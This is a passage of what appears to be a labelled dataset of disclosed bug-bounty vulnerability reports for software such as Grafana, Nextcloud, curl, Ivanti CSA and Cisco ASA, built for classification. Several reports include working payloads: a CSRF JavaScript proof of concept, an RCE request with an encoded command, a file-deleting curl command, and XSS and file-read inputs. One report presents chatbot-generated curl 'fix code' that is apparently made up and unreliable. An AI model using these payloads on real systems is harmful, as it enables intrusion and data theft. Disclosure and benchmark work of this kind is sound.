`config/application.rb` into the ERB template\n(`<p>Hello <%= sanitize @name, tags: [\"select\", \"style\"] %></p>`), the update from\n1.4.2 to 1.4.3 does fix the problem.\n\nThe following patch to https://github.com/rails/rails-html-sanitizer should complete the fix for CVE-2022-32209 (also added a test, which is mostly copy&paste from the test method `test_disallow_the_dangerous_safelist_combination_of_select_and_style` found in the commit linked above):\n\n```\nFrom fb9882599684f5796805107ec98f6a18bba722ec Mon Sep 17 00:00:00 2001\nFrom: Dominic Breuker <dominic.breuker@protonmail.com>\nDate: Fri, 29 Jul 2022 23:08:57 +0200\nSubject: [PATCH] disallow select and style in safelist also when specified in\n sanitizer class allowed_tags list\n\n---\n lib/rails/html/sanitizer.rb |  6 +-----\n test/sanitizer_test.rb      | 20 ++++++++++++++++++++\n 2 files changed, 21 insertions(+), 5 deletions(-)\n\ndiff --git a/lib/rails/html/sanitizer.rb b/lib/rails/html/sanitizer.rb\nindex 97503c8..4a0d43f 100644\n--- a/lib/rails/html/sanitizer.rb\n+++ b/lib/rails/html/sanitizer.rb\n@@ -155,11 +155,7 @@ module Rails\n       end\n \n       def allowed_tags(options)\n-        if options[:tags]\n-          remove_safelist_tag_combinations(options[:tags])\n-        else\n-          self.class.allowed_tags\n-        end\n+        remove_safelist_tag_combinations(options[:tags] || self.class.allowed_tags)\n       end\n \n       def allowed_attributes(options)\ndiff --git a/test/sanitizer_test.rb b/test/sanitizer_test.rb", "source": "hackerone", "timestamp": "2022-12-14", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "4e69fba6b732ced7d777", "text": "[Information Disclosure] HEIC image preview can be used to invoke Imagick\n\nThe HEIC image preview provider calls into Imagick at https://github.com/nextcloud/server/blob/5d097ddb4b99673f57b8c085dedd93880ee2539d/lib/private/Preview/HEIC.php#L98-L109. This is bad as Imagick processes all kind of image types.\n\nOne can use this for example to exfiltrate arbitrary files by passing a SVG file that contains a `xlink:href` to a locally existing file. There are also other concerns with regard to SSRF and XML parsing done by Imagick.\n\nA super naive example, uploading a file such as \"test.heic\" with this content will render the file \"nextcloud20.png\" inside it. (but you can also reference PDFs, or use it for SSRF, etc etc.\n\n`test.heic`:\n```\n<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<svg\n   xmlns:svg=\"http://www.w3.org/2000/svg\"\n   xmlns=\"http://www.w3.org/2000/svg\"\n   xmlns:xlink=\"http://www.w3.org/1999/xlink\"\n   style=\"overflow: hidden; position: relative;\"\n   width=\"500\"\n   height=\"500\">\n    <image x=\"0\" y=\"0\" width=\"500\" height=\"500\" xlink:href=\"/Users/lukasreschke/Downloads/nextcloud20.png\" stroke-width=\"1\" id=\"image3204\" />\n</svg>\n```\n\nPreview:\n\n{F1376376}\n\n## Impact\n\nGaining access to arbitrary files on the system, SSRF, etc.", "source": "hackerone", "timestamp": "2023-01-07", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "94f3f29fa3fd208e2d0f", "text": "[Unknown] [Java] CWE-016: Query to detect insecure configuration of Spring Boot Actuator\n\nThis bug was reported directly to GitHub Security Lab.", "source": "hackerone", "timestamp": "2022-05-13", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "e79649fb8b30b5234ef2", "text": "[Business Logic Errors] captcha bypass leads to register multiple user with one valid captcha\n\n## Summary:\nHi team,\nwhen we register in valley connect, captcha now expire and we can use single valid captcha for register and call to many user.\n\n## Steps To Reproduce:\n1. go to login form : https://valleyconnect.tva.gov/registration\n2. complete form and click on submit registration, then intercept request with burp\n3. use intruder for call multiple request, we should replace email in every request.\n\n```\nPOST /registration HTTP/2\nHost: valleyconnect.tva.gov\n\nUserName=admin&Password=jgn%25%5EThgf%23rfvHRESdy56tef&ConfirmPassword=jgn%25%5EThgf%23rfvHRESdy56tef&EmailAddress=E%40jetamooz.com&EmailAddressVerify=E%40jetamooz.com&FirstName=alex&LastName=jane&Initials=&Suffix=&JobTitle=it&OrganizationType=Business+Partner&OrganizationName=sarv&Country=792&StreetAddress=sary&City=katy&Province=titi&State=AL&ZipCode=&PhoneNumber=%28934%29+734-4364&MobilePhoneNumber=%28957%29+363-4655&TimeZone=America%2FLos_Angeles&CapAnswer=U4YIQ&CapKey=XXTxVOUWZrCz6buVtsgF2cFaPHLSCKVSRQc4z4My13Bee8JiTYVZXmiPd8zLSbMc&BeCheck=\n```\n\n\n## Supporting Material/References:\n\n{F2781078}\n{F2781077}\n{F2781085}\n{F2781080}\n\n## Impact\n\nwe can bypass captcha and register too many user with one valid captcha", "source": "hackerone", "timestamp": "2023-11-30", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "27b5b8d3858018087287", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS at https://██████/██████ via \"██████\" parameter\n\nThere is Reflected Cross site scripting issue at the following url:\n\nhttps://██████████/██████\n\nProof Of Concept\n\nhttps://████████/█████████████████=%22%3E%3Csvg/onload=alert(1)%3E█��███████\n\n█████\n\nBest Regards\n\n@pelegn\n\n## Impact\n\nCookies Exfiltration\nSOAP Bypass\nCORS Bypass\nExecuting javascript on the victim behalf\n\n## System Host(s)\n██████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nNavigate to https://████████/████████████████████████=%22%3E%3Csvg/onload=alert(1)%3E██████████\n\n## Suggested Mitigation/Remediation Actions", "source": "hackerone", "timestamp": "2022-02-14", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "80a0274a2a35b91b270d", "text": "[Business Logic Errors] Federated share accepting/declining is not logged in audit log\n\nIn relation to https://hackerone.com/reports/1177353\n\n1. Enable the audit log\n2. Share a file to a federated user\n3. So far all looks good in the log\n4. the recipient checks either accepts or declines the share\n5.  There is no line regarding this in the logs.\n\n## Impact\n\nThe audit log is used to get a full trail of the actions which is now incompletely. With possible important information.\nIt seems to be also listed on https://portal.nextcloud.com/article/using-the-audit-log-44.html\nFrom my point of view a declined share is unshared again.", "source": "hackerone", "timestamp": "2022-09-03", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "aeae996457152f5f9bbd", "text": "[Business Logic Errors] CURLOPT_SSH_HOST_PUBLIC_KEY_MD5 bypass if string not 32 chars\n\n## Summary:\nDue to logic flaw in  `CURLOPT_SSH_HOST_PUBLIC_KEY_MD5` handling, the host fingerprint validation will be bypassed if the passed a string that is not exactly 32 characters long.\n\n## Steps To Reproduce:\n  1. `curl_easy_setopt(curl, CURLOPT_SSH_HOST_PUBLIC_KEY_MD5,   \"afe17cd62a0f3b61f1ab9cb22ba269a\"); // 31 chars`\n  2. perform` sftp://` or `scp://` actions \n\nNote: `curl` command is not affected since it explicitly checks that the `--hostpubmd5` string is 32 characters long, and if it is not `PARAM_BAD_USE` is returned.\n\nThe bug is at https://github.com/curl/curl/blob/f7f26077bc563375becdb2adbcd49eb9f28590f9/lib/vssh/libssh2.c#L733\n\nIf the string length is other than 32 it should result in signature check failure instead of success. Obvious fix would be to remove the `if(pubkey_md5 && strlen(pubkey_md5) == 32)`test  completely.\n\n## Impact\n\nSSH host identify bypass.\n\nFor this issue to be realised, a wrong size fingerprint needs to be passed (either by accident or by malice). It is likely that this is far more likely to happen by accident, since if some actor can tamper with the fingerprints they can bypass the validation anyway. Note that `curl_easy_setopt` `CURLOPT_SSH_HOST_PUBLIC_KEY_MD5` does not return an error indicating that something is wrong, hence this is breaking the principle of least surprise.", "source": "hackerone", "timestamp": "2022-04-25", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "98e3fdebbd0bf0bb0fe0", "text": "[Unknown] [Python]: Timing attack\n\nThis bug was reported directly to GitHub Security Lab.", "source": "hackerone", "timestamp": "2023-06-13", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "97d0fc5b25e095bd0e81", "text": "[Cleartext Transmission of Sensitive Information] CVE-2022-30115: HSTS bypass via trailing dot\n\nAdvisory: https://curl.se/docs/CVE-2022-30115.html\n\nOriginal Report: https://hackerone.com/reports/1557449\n\n## Impact\n\nHSTS bypass", "source": "hackerone", "timestamp": "2022-06-11", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "9de547c0d7039a9b84e0", "text": "[Cross-Site Request Forgery (CSRF)] 0-day Cross Origin Request Forgery vulnerability in Grafana 8.x .\n\n## Disclaimer\n\nTo triage, please note that this is still a 0-day that was alerted to Grafana already, in order to make sure the client is safe I report this issue now, please make sure to not spread it further or leak it, as the best interest is to let you be aware and safer from any potential attacks in the meantime.\n\n## Description\n\n@jub0bs and I have found a cross-origin request forgery attack issue in the Grafana instances hosted on the Aiven platforms (CVE-2022-21703, which is still a 0-Day CVE on Grafana) . \nWith the cross-origin request forgery attack it's possible for an attacker to successfully mount cross-origin request forgery attack against authenticated victims of other grafana instances hosted on `*.aivencloud.com`.\n\n## Exploitation\n\nSo here is the attack story an example user John Doe runs a grafana instance at `https://johndoe.aivencloud.com`.\nAn attacker will deploy his own grafana instance at `https://attacker.aivencloud.com`, this attacker's instance would host a malicous html file with a javascript payload, that will trigger the cross-origin request forgery attack against John Doe while he is logged into `https://johndoe.aivencloud.com` .\n\nNow thanks to this attack all POST / GET requests would work thanks to the cross-origin-request-forgery attack, the root cause of this is because grafana sets their auth cookie `grafana_session` to `SameSite=Lax; Secure` https://jub0bs.com/posts/2021-01-29-great-samesite-confusion/\n\n## Attack Chain.\n\nThe attack chain is as follows;\n\n- Attacker would send a link to the victim.\n- When the victim clicks the link, victim will be forced into logging into the attackers grafana instance via login CSRF.\n- User would be redirected to a vulnerable SSRF endpoint on the attackers grafana instance, this endpoint would trigger cross-origin-request-forgery attack (CVE-2022-21703, which is still a 0-Day CVE on Grafana) to the victims grafana instance.\n- Attack is complete, now the CSRF would have triggered the following actions ;\n* force the victim to create a new user on the victims grafana instance.\n* force the victim to create a dashboard\n\n{F1588743}\n\n## Requirements.\n\n- three seperate web browser instances .\n- a http / https file server to host our payloads.\n- python2.\n- pip2.\n\n## Steps to Reproduce .\n\n1. Login into Aiven Console, at https://console.aiven.io, in a new browser instance let's call it B-1.\n2. On B1, create two new Grafana instance, name the first one attacker and the second victim, wait till it's up and running.\n\n{F1588761}\n\n3. Now click on the Grafana attacker instance in the Aiven Console, then head to the bottom of that page.\n\n{F1588762}\n\n{F1588760}\n\n4. Add the below advanced configurations;\n\n```\nallow_embedding\ncookie_samesite --> none\n```\n\n{F1588759}\n\nThen click the `Save advanced configuration` button.\n\n5. Open a new browser instance, call it B-attacker, log into the attacker grafana instance.\n\n{F1588758}\n\n6. On B-attacker, open up dev tools, then copy & note down the value of your grafana `grafana_session` cookie .\n\n{F1588757}\n\n7. Now its time to save our cross-origin-request-forgery payload .\n\n```html\n<html>\n  <head></head>\n  <body>\n<h1>cross-origin-request-forgery POC</h1>\n<div id=statusdiv></div>\n<script>\n\nvar victim_instance = \"<vic_instance>\";\n\nfunction log_status(msg) {\n  //status logger.\n  let com = document.getElementById('statusdiv')\n  com.innerHTML += \"<h2>\" + msg + \"</h2>\"\n}\n\nfunction dashboard_poc() {\n\tlog_status(\"[*] Creating Dashboard\")\n\tvar url = `${victim_instance}/api/dashboards/db`\n\tfetch(url,\n\t\t{\n\t\t\tmethod:\"POST\",\n\t\t\tmode:\"no-cors\",\n\t\t\tcredentials:\"include\",\n\t\t\theaders: {\n\t\t\t\t\"Content-Type\": \"text/plain; application/json\"\n\t\t\t},\n\t\t\tbody: JSON.stringify(\n\t\t\t\t{\n\t\t\t\t\t\"dashboard\": {\n\t\t\t\t\t\t\"title\": \"grafana_csrf_0_day\"\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t)\n\t\t})\n}\n\nfunction invite_poc() {\n\tlog_status(\"[*] Creating User\")\n\tvar url = `${victim_instance}/api/org/invites`\n\tfetch(url,\n\t\t{\n\t\t\tmethod:\"POST\",\n\t\t\tmode:\"no-cors\",\n\t\t\tcredentials:\"include\",\n\t\t\theaders: {\n\t\t\t", "source": "hackerone", "timestamp": "2022-03-16", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "401dd6e922aadb1e0e8d", "text": "[Code Injection] [███████] Remote Code Execution at ██████ [CVE-2021-44529] [HtUS]\n\n**IP Address used to find vulnerability:**\n\n `██████`\n\n**Vulnerable Website URL or Application:** \n\n`https://████`\n\n`pomcldsvr2.████`\n\n\n\n**Proof of ownership:**\n\n███\n\n\n\n**Summary:**\n\nThe server at `https://███` is running a vulnerable version of CSA.\n\nA code injection vulnerability in the Ivanti EPM Cloud Services Appliance (CSA) allows an unauthenticated user to execute arbitrary code with limited permissions (nobody).\n\n**Steps to Reproduce:**\n\nUse Burp Repeater to send the following GET requests:\n\n*Please note that for the system commands to run, they need to be Base64 encoded. For example, for phpinfo, pass cGhwaW5mbygpOw==*\n\n- For phpinfo()\n\n  ````\n  GET /client/index.php HTTP/1.1\n  Host: ███████\n  User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36\n  Connection: close\n  Cookie: ab=ab; c=cGhwaW5mbygpOw==; d=; e=;\n  Accept-Encoding: gzip, deflate\n  \n  \n  ````\n\n**Screenshots:**\n\n█████████\n\n█████████\n\n██████\n\n█████\n\n██████\n\n**References:**\n\n- https://nvd.nist.gov/vuln/detail/CVE-2021-44529\n- https://forums.ivanti.com/s/article/SA-2021-12-02\n\n## Impact\n\n**Impact:**\nRemote attackers can execute arbitrary commands on the server, and compromise company and user data.\n\n**CVSS Score: Critical**\n\n**Vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "source": "hackerone", "timestamp": "2023-01-06", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "e20509ae19af64b87ccc", "text": "Schneider Electric C-Bus Automation Controller (5500SHAC) 1.10 Remote Root Exploit\n\nSeverity: high", "source": "zeroscience", "timestamp": "2022-05-29", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "4911ce81de3dccc686eb", "text": "[Insecure Direct Object Reference (IDOR)] Nextcloud Deck : Possibility for anyone to add a stack with existing tasks on anyone's board\n\nHi everyone,\n\nHope you are well ! \n\nI found an IDOR vulnerability, allowing any user without privilege to add lists with tasks in any user board.\nThis was tested on a Nextcloud Hub II server (v23) with the Deck application in version 1.6.0.\n\n## Steps To Reproduce:\n\nBeforehand: \n\n- Have an A user with a board ID specific to that user (`boardId` parameter)\n- Have a user B with a board ID specific to that user (`boardId` parameter)\n- Note that there is no link between our user A and user B\n\n**1°)** With your user A, rename an existing list belonging to him. \n\nThe following PUT request is made :\n\n```\nPUT /apps/deck/stacks/31 HTTP/1.1\nHost: nextcloud.yourserver.com\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0\nAccept: application/json, text/plain, */*\nAccept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nContent-Type: application/json;charset=utf-8\nrequesttoken: <token>\nContent-Length: 136\nOrigin: https://nextcloud.yourserver.com\nConnection: close\nCookie: <your_session_cookies>\n\n{\"title\":\"IDOR\",\"boardId\":14,\"deletedAt\":0,\"lastModified\":1642201857,\"order\":0,\"id\":31,\"ETag\":\"a5f7e3ab477ee2a2259f0889a63130a8\"} \n```\n\nIntercept the request, change the `boardId` parameter to that of your victim (user B)  and play the modified request..\n\nCheck the server response that confirms the vulnerability: \n\n```\nHTTP/1.1 200 OK\nServer: nginx\nDate: Fri, 14 Jan 2022 23:39:49 GMT\nContent-Type: application/json; charset=utf-8\nContent-Length: 135\nConnection: close\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nPragma: no-cache\nCache-Control: no-cache, no-store, must-revalidate\nContent-Security-Policy: default-src 'none';base-uri 'none';manifest-src 'self';frame-ancestors 'none'\nFeature-Policy: autoplay 'none';camera 'none';fullscreen 'none';geolocation 'none';microphone 'none';payment 'none'\nX-Robots-Tag: none\nReferrer-Policy: no-referrer\nX-Content-Type-Options: nosniff\nX-XSS-Protection: 1; mode=block\nX-Robots-Tag: none\nX-Download-Options: noopen\nX-Permitted-Cross-Domain-Policies: none\nStrict-Transport-Security: max-age=31536000; includeSubDomains;\n\n{\"title\":\"IDOR_REPORT\",\"boardId\":1,\"deletedAt\":0,\"lastModified\":1642201857,\"order\":0,\"id\":31,\"ETag\":\"a5f7e3ab477ee2a2259f0889a63130a8\"}\n```\n\n**2°)** With your user B, go to the board in question and notice the addition of a new list with tasks without his knowledge\n\nAdditional Notes: \n\n- This works from one user without privilege to another\n- It works from an unprivileged user on the board of an administrator/privileged user\n- If this vulnerability is exploited with a list containing several tasks, each containing images, labels, calendar etc., everything is imported to the victim's account\n- If our victim deletes the list created without his knowledge, it also deletes it on the attacker's side\n\n## Impact\n\nBroken Access Control - IDOR : The impact here is to be able to add lists with tasks on the board of any user and harm them.\nWe could imagine here brute-forcing the `boardId` parameter starting from 1 to 1000 (for example) to exploit this vulnerability on all the existing users/tables. We could also create on our victim an incalculable number of lists on his board.\n\nLooking forward to exchanging.\n\nRegards,\nSupras", "source": "hackerone", "timestamp": "2022-05-20", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "51dc3d429d4301b21444", "text": "[Information Disclosure] The dashboard is exposed in https://███\n\n**Description:**\nAt first, hello, after searching in sub-domains, the dashboard was accessed by Google Dorking Which is supposed to be protected\nhttps://█████████l/arsys/forms/arpcp/ARPC%3AWeb%3AHier%3ADashboard/Default+Admin+View/?F536871388=1&mode=Submit&cacheid=c66791da\n\n## References\nhttps://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure\n\n## Impact\n\nCWE-200\nhttps://cwe.mitre.org/data/definitions/200.html\n\n## System Host(s)\n█████████l\n\n## Affected Product(s) and Version(s)\nwebsite\n\n## CVE Numbers\nCVE-2020-7130\n\n## Steps to Reproduce\nAfter searching in Google dorking on a file extension or endpoint jspDashboard found in the URL\nhttps://████████l/arsys/forms/arpcp/ARPC%3AWeb%3AHier%3ADashboard/Default+Admin+View/?F536871388=1&mode=Submit&cacheid=c66791da \n██████\n\n==Note==\n that it is leaked, you can log out and bypass it by typing anything in the ```username``` box\n\n## Suggested Mitigation/Remediation Actions\nCollect sensitive information on a local server and protect endpoints\n\n\n---------------------------------------\nWith best regards and love\nToni...", "source": "hackerone", "timestamp": "2022-09-06", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "2dc3fe54afa700492a6e", "text": "[Incorrect Authorization] Incorrect Authorization leads to see other users Documents Uploaded\n\n## Summary:\nHi team,\nwhen user upload document, other user can see this docs only with link\n\n## Steps To Reproduce:\n1. loign to portal with user A : https://qcn.mytva.com\n2. go to admin section and upload a document.\n{F2782891}\n\n3. click on link to see uploaded image. [like](https://qcn.mytva.com/Admin/FileHandler?ENC=RUFBQUFITmtabk00TjJGa1ptRTVNV0Z6TW5JMHV0S2hNTHNYR1J1SDNMMFBqeElLajlTNGNjTHcxVUhqcHhuL1R1cUxyVkxoS0RSRUFqUjRDTlFEd2E4S1diUkNYMlhGNFdSTDRrdE1yUUgvNkVhYWtUR251RjVYc1V6RDdwZkZXdTlCV0tZY2JmWGlVSkNjcHEyK0VvQU1Fc2R2RklDQW1MM25kNEZMTStxMTlhRnBrdStuOGs4N3lTU1Q1R2FsQ1ZrTHhnPT0)\n\n{F2782892}\n\n4. login to portal with user B\n5. go to above url, we can see and download user A document.\n\n{F2782896}\n\n## Impact\n\nany login user can see other user documents", "source": "hackerone", "timestamp": "2023-11-30", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "1fd03811663a1304085c", "text": "[Integer Overflow] Integer overflows in unescape_word()\n\n## Summary:\nA similiar issue to [CVE-2019-5435](https://hackerone.com/reports/547630)\n\n## Steps To Reproduce:\n### analysis\nDICT protocol can use one url like \"dict://localhost:3306\", and  function unescape_word() is used to deal with the character in url like this comment\n```c\n    /* According to RFC2229 section 2.2, these letters need to be escaped with\n       \\[letter] */\n      if((ch <= 32) || (ch == 127) ||\n          (ch == '\\'') || (ch == '\\\"') || (ch == '\\\\')) {\n        dictp[olen++] = '\\\\';\n      }\n```\n\nand the bug case here /curl/lib/dict.c\n\n```c\nstatic char *unescape_word(const char *inputbuff)\n{\n  char *newp = NULL;\n  char *dictp;\n  size_t len;\n\n  CURLcode result = Curl_urldecode(inputbuff, 0, &newp, &len,          <------------- get len\n                                   REJECT_NADA);\n  if(!newp || result)\n    return NULL;\n\n  dictp = malloc(len*2 + 1);    <------------ overflow here\n//.....\n}\n```\n\nIn my analysis(maybe wrong), the `inputbuff` in DICT url is \"dict:[inputbuff]\", for example \"//localhost:3306\" in  \"dict://localhost:3306\", and `len` is the length of `inputbuff`.\n\nAnd the length of `inputbuff` multiplied by 2 and then passed to malloc. This may lead to a integer overflow on a 32bit OS when the inputbuff is longer than 2GB\n\n`unescape_word` was called by dict_do(), If someone use libcurl to code, and call dict_do() with a extreme long url, it might be triggered.\n\n## Impact\n\nIt might leads to a crash or some other impact.", "source": "hackerone", "timestamp": "2022-06-09", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "0059447d640072a0980b", "text": "[Improper Access Control - Generic] CVE-2023-30587 Process-based permissions can be bypassed with the \"inspector\" module.\n\n[https://hackerone.com/reports/1962701](https://hackerone.com/reports/1962701)  Restrictions set with the new process based permission flag can by bypassed with the built-in inspector module.\n\n## Impact\n\nPermission Model is a mechanism for restricting access to specific resources during execution. This bypasses those restrictions.", "source": "hackerone", "timestamp": "2023-09-30", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "e880183ba514aa74adba", "text": "[Information Disclosure] [Critical] Curl CVE-2023-38545 vulnerability code changes are disclosed on the internet\n\n## Summary:\nCurl CVE-2023-38545 vulnerability code changes are disclosed on the internet\n\n## Steps To Reproduce:\nTo replicate the issue, I have searched in the Bard about this vulnerability. It disclosed what this vulnerability is about, code changes made for this fix, who made these changes, commit details etc even though this information is not released yet on the internet. In addition to it, I was able to easily craft the exploit based on the information available. Remove this information from the internet ASAP!!!!\n\nVulnerability information:\n\nThe vulnerability is caused by an integer overflow in the curl_easy_setopt() function.\nThe vulnerability can be exploited by an attacker to execute arbitrary code on a vulnerable system.\nThe vulnerability is fixed in curl 8.4.0 and higher.\n\nCode fixes:\nThe following code changes fixed CVE-2023-38545 in curl:\n\nC\n/*\n * CVE-2023-38545: Integer overflow in curl_easy_setopt()\n *\n * This vulnerability could be exploited to cause a denial-of-service attack or\n * to execute arbitrary code on the victim's system.\n *\n * The following code changes fix this vulnerability by checking the value of the\n * timeout argument before passing it to the internal curl function.\n */\n\n#include \"curl.h\"\n\n/*\n * curl_easy_setopt()\n *\n * Sets an option value for a curl handle.\n *\n * @param handle The curl handle.\n * @param option The option to set.\n * @param param The value to set the option to.\n *\n * @return CURLE_OK on success, or a curl error code on failure.\n */\n\nCURLcode curl_easy_setopt(CURL *handle, CURLoption option, ...)\n{\n  va_list param;\n  CURLcode ret;\n\n  va_start(param, option);\n\n  switch (option) {\n    case CURLOPT_TIMEOUT: {\n      long timeout = va_arg(param, long);\n\n      /* Check for integer overflow. */\n      if (timeout < 0 || timeout > LONG_MAX) {\n        va_end(param);\n        return CURLE_BAD_FUNCTION_ARGUMENT;\n      }\n\n      ret = curl_easy_setopt_timeout(handle, timeout);\n      break;\n    }\n\n    default:\n      ret = curl_easy_setopt_custom(handle, option, param);\n      break;\n  }\n\n  va_end(param);\n\n  return ret;\n}\nUse code with caution. Learn more\nThese code changes were made in commit 9414975, which was released in curl version 8.4.0.\n\n\nWho made these changes and commit details:\nThe code changes to fix CVE-2023-38545 were made by Dxxxxl Sxxxxg, the maintainer of curl. The changes were made in commit 9414975, which was released in curl version 8.4.0.\n\nDxxxxl Sxxxxg is a Swedish computer programmer and the creator and maintainer of curl. He has been working on curl for over 20 years and is considered to be one of the leading experts on web transfer protocols.\n\n## Impact\n\nDisclosing undisclosed vulnerability code can have a number of negative implications, including:\n\nPutting users at risk. Once a vulnerability is disclosed publicly, attackers can start exploiting it. This can put users of the affected software at risk of data breaches, malware infections, and other attacks.\nDamaging the vendor's reputation. Vendors take pride in the security of their products and services. Disclosing a vulnerability publicly can damage the vendor's reputation and lead to lost customers.\nMaking it more difficult for the vendor to fix the vulnerability. If a vulnerability is disclosed publicly before the vendor has a chance to fix it, it can make it more difficult for the vendor to coordinate a patch release. This can leave users vulnerable to attacks for longer.\nEncouraging other attackers to find and disclose vulnerabilities. When attackers see that they can get attention and recognition by disclosing vulnerabilities, they are more likely to look for them. This can lead to an increase in the number of vulnerabilities that are disclosed publicly.", "source": "hackerone", "timestamp": "2023-10-16", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "64423f066434566b83b9", "text": "[Path Traversal] CVE-2020-3187 - Unauthenticated Arbitrary File Deletion\n\nA vulnerability in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and obtain read and delete access to sensitive files on a targeted system. The vulnerability is due to a lack of proper input validation of the HTTP URL. An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences.\n\nThe IP has a SSL certificate pointing to .█████\ncurl -kv https://█████████/\n\noutput\n```\nServer certificate:\n*  subject: █████████.mil\n```\n\n## Impact\n\nAn exploit could allow the attacker to view or delete arbitrary files on the targeted system. When the device is reloaded after exploitation of this vulnerability, any files that were deleted are restored. The attacker can only view and delete files within the web services file system. This file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. This vulnerability can not be used to obtain access to ASA or FTD system files or underlying operating system (OS) files. Reloading the affected device will restore all files within the web services file system.\n\n## System Host(s)\n█████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2020-3187\n\n## Steps to Reproduce\n1.First I performed a curl request to validate that /session_password.html gave a 200 response.\ncurl -k -s -i https://███/+CSCOE+/session_password.html\n2.Example to delete logo file \"/+CSCOU+/csco_logo.gif\".\ncurl -k -H \"Cookie: token=../+CSCOU+/csco_logo.gif\" https://██████/+CSCOE+/session_password.html\n\n_NOTE: No destructive behavior was performed on target, the above command will remove csco_logo.gif and can be restored on reboot of the device_\n\n## Suggested Mitigation/Remediation Actions\nhttps://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-path-JE3azWw43", "source": "hackerone", "timestamp": "2022-05-12", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "c1c6841e2229a23e664b", "text": "[Information Disclosure] User information disclosed via API\n\n## Summary:\n\nIt appears that the requests for \"system accounts\" are fully available via an API endpoint that does not require authentication. \n\nThe main issue is that among the information disclosed are user emails (many with gmail addresses) but the individual applications also include information that the user provides about their organization/integration such as IP addresses, physical locations and whether or not the system uses okta. \n\n## Steps To Reproduce:\n\nNavigate to the following URL:  https://sam.gov/api/prod/iam/cws/v1/applications/\n\n## Supporting Material/References:\n\nHelp desk article about what the [system accounts are](http://www.fsd.gov/gsafsd_sp?id=gsafsd_kb_articles&sys_id=c8d50f1d1b187c909ac5ddb6bc4bcbe2)\n\nHere is an example object of what is returned from the endpoint:\n\n```\n{\"uid\":12345,\"systemAccountName\":\"POC\",\"interfacingSystemVersion\":\"beta.POCcom\",\"systemDescriptionAndFunction\":\"example of data thgat is leaked\",\"systemAdmins\":\"[]\",\"systemManagers\":\"[{\\\"commonName\\\":\\\"James Bond\\\",\\\"uid\\\":\\\"fakepassword@gmail.com\\\",\\\"mail\\\":\\\"fake-fun@opayq.com\\\",\\\"name\\\":\\\"James Bond\\\",\\\"isGov\\\":false,\\\"id\\\":\\\"fake-fun@opayq.com\\\"}]\",\"contractOpportunities\":\"\",\"contractData\":\"\",\"entityInformation\":\"\",\"federalHierarchy\":\"\",\"wageDeterminations\":\"\",\"assistanceListings\":\"\",\"referenceData\":\"\",\"ipAddress\":\"\",\"typeOfConnection\":\"\",\"physicalLocation\":\"\",\"securityOfficialName\":\"\",\"securityOfficialEmail\":\"\",\"uploadAto\":\"\",\"authorizationConfirmation\":false,\"authorizingOfficialName\":\"\",\"submittedDate\":\"2021-06-06T06:49:17.130+0000\",\"submittedBy\":\"fake-fun@opayq.com\",\"securityApprover\":\"\",\"rejectedBy\":\"\",\"rejectionReason\":\"\",\"applicationStatus\":\"Draft\",\"isGov\":false,\"migratedToOkta\":false,\"fips199Categorization\":\"\"}\n```\n\n## Impact\n\nA threat actor could view personal information about users on the platform.\n\nIt is also theoretically possible that a threat actor could use information gathered from this endpoint to identify future targets and footholds.", "source": "hackerone", "timestamp": "2022-10-19", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "7d468677bb8458f7c72b", "text": "[Unknown] cpp: if (a+b>c) a=c-b is incorrect if a+b overflows\n\nThis bug was reported directly to GitHub Security Lab.", "source": "hackerone", "timestamp": "2023-06-13", "split": "val", "label_source": "within_source_cve_index", "label": 0}
